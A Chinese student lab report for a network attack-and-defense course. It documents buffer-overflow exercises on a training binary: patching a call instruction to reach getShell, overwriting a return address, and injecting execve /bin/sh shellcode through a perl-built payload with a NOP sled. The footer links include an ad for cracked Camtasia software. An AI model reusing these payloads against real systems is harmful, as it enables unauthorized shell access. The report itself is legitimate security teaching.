首页 > 其他分享 >20222419 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222419 2024-2025-1 《网络与系统攻防技术》实验一实验报告

时间:2024-10-10 14:33:26浏览次数:1  
标签:x90 x68 2024 2025 地址 缓冲区 20222419 shellcode 溢出

1.实验内容

1.1本周学习内容

(1)了解了缓冲区溢出发展历史:红色代码、冲击波病毒、震荡波病毒、心脏出血、乌克兰断网、勒索病毒。
(2)了解了缓冲区溢出漏洞的本质和危害:缓冲区溢出漏洞是由于程序没有进行严格的内存越界检查,导致数据溢出并覆盖相邻内存空间,从而可能被攻击者利用执行恶意代码。这种漏洞可能导致程序崩溃、数据泄露、系统被控等严重后果。
(3)了解了缓冲区溢出基础知识,比如编译器和调试器、汇编语言、进程内存管理、函数调用过程以及相关寄存器的操作。
(4)了解了缓冲区溢出的防范技术

源程序检查: 通过静态检查和动态测试,及时发现潜在的缓冲区溢出漏洞。
不可执行的缓冲区: 使堆栈数据空间不能执行程序,防止攻击者植入恶意代码。
数组边界检查: 在编译时检查数组操作是否越界,避免溢出发生。
运行时拦截检查: 通过不安全函数检查和数据完整性检查,及时发现和阻止缓冲区溢出攻击。

1.2实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码。

2.实验过程

2.1直接修改程序机器指令,改变程序执行流程。

(1)下载目标文件pwn1,将文件名改为pwn20222419并复制一份

(2)反汇编。

(3)修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

(4)再反汇编看一下,call指令是否正确调用getShell

(5)运行下改后的代码,得到shell提示符

2.2通过构造输入参数,造成BOF攻击,改变程序执行流

(1)反汇编,了解程序的基本功能
这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出

上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

(2)确认输入字符串哪几个字符会覆盖到返回地址
第一次可以看到eip地址为0x35353535,表明已经发生了覆盖;
第二次对应的eip地址为0x34333231

(3)确认用什么值来覆盖返回地址
前通过反汇编得到的getShell的地址0x0804847d,可以确定我们的输入可以构造为11111111222222223333333344444444\x7d\x84\x04\x08
(4)构造输入字符串

将input的输入,通过管道符“|”,作为pwn20222419的输入。

2.3注入Shellcode并执行

(1)准备一段Shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

(2)准备工作

(3)构造要注入的payload
Linux下有两种基本构造攻击buf的方法:

retaddr+nop+shellcode
nop+shellcode+retaddr

结构为:nops+shellcode+retaddr并注入这段攻击buf:

再开另外一个终端,用gdb来调试pwn20222419这个进程。

将返回地址改为0xffffd390,发现并没有成功

重新开始

结构为:anything+retaddr+nops+shellcode,地址是 0xffffd3ac+4=0xffffd3b0
所以为:

perl -e 'print "A" x 32;print "\xb0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

3.问题及解决方案

  • 问题1:一开始无法下载execstack

  • 问题1解决方案:根据链接https://blog.csdn.net/weixin_43729943/article/details/104221462成功解决问题

  • 问题2:知道esp地址后也一直无法成功注入shellcode,后来发现esp地址在发生变化

  • 问题2解决方案:第一天晚上关闭了地址随机化,后来电脑自动睡眠,虚拟机重新启动没有关闭地址随机化,导致esp地址在发生变化,后来重新关闭地址随机化成功注入shellcode。

4.学习感悟、思考等

实验尽量一次性完成,不然电脑自动睡眠后虚拟机是否发生变化不可知,需要重头再来才保险。
通过修改可执行文件,我知道了如何通过修改流程来实现预期目标。在构建溢出字符串的过程中,我认识到了缓冲区溢出漏洞的原理,以及数据如何因过量输入而覆盖地址指令,从而实现控制程序执行的目的。此外,我还掌握了 GDB 调试工具的使用方法。
在尝试编写 shellcode 的过程中,我初步理解了 shellcode 的概念,以及如何将 shellcode 注入并执行于正常运行程序中。

标签:x90,x68,2024,2025,地址,缓冲区,20222419,shellcode,溢出
From: https://www.cnblogs.com/Taki16888/p/18456310

相关文章

  • 2024.10.10 总结
    A:赛时发了什么疯非要来冲这题。不妨计各种颜色的宝石为0/1。考虑记前缀和的最大值为\(S_\max\),最小值为\(S_\min\),于是总的限制为\(|S_\max-S_\min|\leqk\)。考虑反向维护这个限制,即枚举一个\(i\),然后钦定\(i\leqS_\min\leqS_\max\leqi+k\),计算对应的序列个数。然后......
  • 2024-9-28
    新闻周刊2024.9.28导入:建立"定点医药机构相干人员"实行驾照式经分传统监管机构将从医药机构进一步精确到人的进步,让少部分违规人员收到更加严厉的处罚防止医保滥用,让违规者付出应有代价,确保医保资金真正惠民,让所有人都共同收益.视点:秋收"惠农"时农条机械化农......
  • 开放式耳机什么牌子好一点?2024这些开放式蓝牙耳机牌子最好
    很多人问我开放式耳机值得买吗?,我的回答是很肯定的,开放式蓝牙耳机是一种便于佩戴的无线耳机,因其夹在耳朵上方的设计而得名。这种耳机通常具有轻便、稳定的特点,非常适合在运动、旅行或日常使用时佩戴。正确佩戴开放式蓝牙耳机可以确保舒适性和良好的音质,同时减少耳机脱落的风险。......
  • 2024项目管理工具全攻略:项目经理带你解锁高效项目管理之路
    一、项目管理工具的重要性在现代企业中,项目管理工具扮演着至关重要的角色。首先,它极大地提高了团队协作效率。以ZohoProjects为例,其几乎每个模块都配置了筛选器,方便项目团队及时锁定需要的项目信息,让项目经理及时获取项目相关最新动态,进行方略调整。同时,像飞项项目管理工......
  • 2024年诺贝尔物理学奖
    2024年,诺贝尔物理学奖没有颁给物理学家,而是授予了两位计算机科学家,表彰他们在神经网络领域的开创性工作,这项研究成为了我们今天所称的人工智能的基础。这标志着物理学与计算机科学之间的深度融合。获奖者约翰·霍普菲尔德和杰弗里·辛顿对神经网络的发展产生了巨大的影响。霍......
  • 20222317 2024-2025-1《网络与系统攻防技术》实验一实验报告
    一、实验内容本次实验的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们本次实验将学习两种方法运行这......
  • 掌握未来:2025年秋招LLM及多模态模型面试精华
    目录大模型常用微调方法LoRA和Ptuning的原理介绍StableDiffusion的原理为何现在的大模型大部分是Decoder-only结构如何缓解LLMs复读机问题为什么Transformer块使用LayerNorm而不是BatchNormTransformer为何使用多头注意力机制监督微调SFT后LLM表现下降的原因微调阶段样本......
  • 20222306 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容1.1本周学习内容①Linux基础知识基本的shell命令(例如:ls、cd、cp、touch、cat、su等等)在Linux中熟练使用编译器gcc、调试器gdb,尤其是gdb调试指令(例如:设置断点break/clear、启用/禁用断点enable/disable、运行程序run、继续运行continue、单步代码跟入函数step、查看......
  • 2024.9.27 模拟赛 CSP5
    模拟赛无T1光题贪心,发现首先让最大的减\(4\),这样最优并且不会涉及向下取整,等到数据范围小了以后直接\(O(n^4)\)暴力枚举。code#include<bits/stdc++.h>usingnamespacestd;inta,b,c,d;intans=1e9;#definemx(x,y)(x>y?(x):(y))#definemi(x,y)(x<y?(x):(y......
  • Camtasia2024破解版下载Camtasia2024安装包永久免费版电脑软件下载
    CamtasiaStudio2024软件:打造你的视频内容宇宙......